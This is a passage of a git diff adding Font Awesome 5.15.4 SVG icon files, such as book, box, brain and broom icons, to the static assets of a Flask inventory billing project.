0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-medical.svg new file mode 100644 index 00000000..fd9291dc --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-open.svg new file mode 100644 index 00000000..d9f86ac2 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-reader.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-reader.svg new file mode 100644 index 00000000..92daa54a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book-reader.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book.svg new file mode 100644 index 00000000..8fb99980 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/book.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bookmark.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bookmark.svg new file mode 100644 index 00000000..62cce114 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bookmark.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-all.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-all.svg new file mode 100644 index 00000000..1418e1f6 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-all.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-none.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-none.svg new file mode 100644 index 00000000..c2ecf805 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-none.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-style.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-style.svg new file mode 100644 index 00000000..104fb39e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/border-style.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bowling-ball.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bowling-ball.svg new file mode 100644 index 00000000..7bd823a8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bowling-ball.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box-open.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box-open.svg new file mode 100644 index 00000000..c0dccedd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box-open.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box-tissue.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box-tissue.svg new file mode 100644 index 00000000..8b7a7ed3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box-tissue.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box.svg new file mode 100644 index 00000000..c324dd26 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/box.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/boxes.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/boxes.svg new file mode 100644 index 00000000..9bdc387e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/boxes.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/braille.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/braille.svg new file mode 100644 index 00000000..a6a37c23 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/braille.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/brain.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/brain.svg new file mode 100644 index 00000000..66aa837e --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/brain.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bread-slice.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bread-slice.svg new file mode 100644 index 00000000..c0632eec --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/bread-slice.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/briefcase-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/briefcase-medical.svg new file mode 100644 index 00000000..46cb0967 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/briefcase-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 0-8-3.6-8-8v-56h-56c-4.4 0-8-3.6-8-8v-48c0-4.4 3.6-8 8-8h56v-56c0-4.4 3.6-8 8-8h48c4.4 0 8 3.6 8 8v56h56c4.4 0 8 3.6 8 8v48z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/briefcase.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/briefcase.svg new file mode 100644 index 00000000..21633d25 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/briefcase.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/broadcast-tower.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/broadcast-tower.svg new file mode 100644 index 00000000..992f2fb1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/broadcast-tower.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M150.94 192h33.73c11.01 0 18.61-10.83 14.86-21.18-4.93-13.58-7.55-27.98-7.55-42.82s2.62-29.24 7.55-42.82C203.29 74.83 195.68 64 184.67 64h-33.73c-7.01 0-13.46 4.49-15.41 11.23C130.64 92.21 128 109.88 128 128c0 18.12 2.64 35.79 7.54 52.76 1.94 6.74 8.39 11.24 15.4 11.24zM89.92 23.34C95.56 12.72 87.97 0 75.96 0H40.63c-6.27 0-12.14 3.59-14.74 9.31C9.4 45.54 0 85.65 0 128c0 24.75 3.12 68.33 26.69 118.86 2.62 5.63 8.42 9.14 14.61 9.14h34.84c12.02 0 19.61-12.74 13.95-23.37-49.78-93.32-16.71-178.15-.17-209.29zM614.06 9.29C611.46 3.58 605.6 0 599.33 0h-35.42c-11.98 0-19.66 12.66-14.02 23.25 18.27 34.29 48.42 119.42.28 209.23-5.72 10.68 1.8 23.52 13.91 23.52h35.23c6.27 0 12.13-3.58 14.73-9.29C630.57 210.48 640 170.36 640 128s-9.42-82.48-25.94-118.71zM489.06 64h-33.73c-11.01 0-18.61 10.83-14.86 21.18 4.93 13.58 7.55 27.98 7.55 42.82s-2.62 29.24-7.55 42.82c-3.76 10.35 3.85 21.18 14.86 21.18h33.73c7.02 0 13.46-4.49 15.41-11.24 4.9-16.97 7.53-34.64 7.53-52.76 0-18.12-2.64-35.79-7.54-52.76-1.94-6.75-8.39-11.24-15.4-11.24zm-116.3 100.12c7.05-10.29 11.2-22.71 11.2-36.12 0-35.35-28.63-64-63.96-64-35.32 0-63.96 28.65-63.96 64 0 13.41 4.15 25.83 11.2 36.12l-130.5 313.41c-3.4 8.15.46 17.52 8.61 20.92l29.51 12.31c8.15 3.4 17.52-.46 20.91-8.61L244.96 384h150.07l49.2 118.15c3.4 8.16 12.76 12.01 20.91 8.61l29.51-12.31c8.15-3.4 12-12.77 8.61-20.92l-130.5-313.41zM271.62 320L320 203.81 368.38 320h-96.76z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/broom.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/broom.svg new file mode 100644 index 00000000..a06b42be --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/broom.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256.47 216.77l86.73 109.18s-16.6 102.36-76.57 150.12C206.66 523.85 0 510.19 0 510.19s3.8-23.14 11-55.43l94.62-112.17c3.97-4.7-.87-11.62-6.65-9.5l-60.4 22.09c14.44-41.66 32.72-80.04 54.6-97.47 59.97-47.76 163.3-40.94 163.3-40.94zM636.53 31.03l-19.86-25c-5.49-6.9-15.52-8.05-22.41-2.56l-232.48 177.8-34.14-42.97c-5.09-6.41-15.14-5.21-18.59 2.21l-25.33 54.55 86.73 109.18 58.8-12.45c8-1.69 11.42-11.2 6.34-17.6l-34.09-42.92 232.48-177.8c6.89-5.48 8.04-15.53 2.55-22.44z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/brush.svg b/FLASK PROJECTS/Inventory Billing Management System using 